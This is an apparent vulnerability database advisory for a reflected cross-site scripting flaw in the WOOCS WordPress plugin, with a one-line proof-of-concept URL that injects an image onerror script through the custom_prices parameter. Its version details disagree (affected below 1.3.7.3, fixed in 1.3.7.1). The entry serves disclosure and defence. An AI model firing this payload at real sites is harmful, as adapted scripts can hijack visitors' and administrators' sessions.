WordPress Plugin Vulnerabilities
WOOCS < 1.3.7.3 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the custom_prices parameter before outputting it back in the response, leading to a Reflected Cross-Site Scripting issue
Proof of Concept
https://example.com/wp-admin/admin-ajax.php?action=woocs_get_custom_price_html&custom_prices[]=%3Cimg%20src%20onerror=alert(`XSS`)%3E
Affects Plugins
Fixed in version 1.3.7.1
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2021-12-13 (about 5 months ago)
Added
2021-12-13 (about 5 months ago)
Last Updated
2022-04-11 (about 1 months ago)